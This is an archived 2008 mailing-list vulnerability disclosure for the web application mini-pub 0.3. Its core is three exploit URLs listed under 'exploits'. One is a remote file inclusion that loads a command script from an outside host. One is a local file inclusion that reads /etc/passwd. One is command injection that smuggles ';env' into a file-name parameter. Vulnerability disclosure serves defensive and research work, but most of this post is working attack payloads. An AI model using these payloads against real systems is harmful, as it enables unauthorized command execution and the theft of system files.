|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
mini-pub 0.3 multiple vulnerabilities
From: muuratsalo experimental hack lab (muuratsalo
gmail.com)
Date: Thu Feb 07 2008 - 07:43:31 CST
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
mini-pub 0.3 multiple vulnerabilities
download http://sourceforge.net/projects/mini-pub/
author muuratsalo
contact muuratsalo[at]gmail.com
exploits
1. remote file inclusion
http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt?
2. local file inclusion
http://localhost/mini-pub.php/front-end/cat.php?sFileName=/etc/passwd
3. command execution
http://localhost/mini-pub.php/front-end/cat.php?sFileName=a%3Benv
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]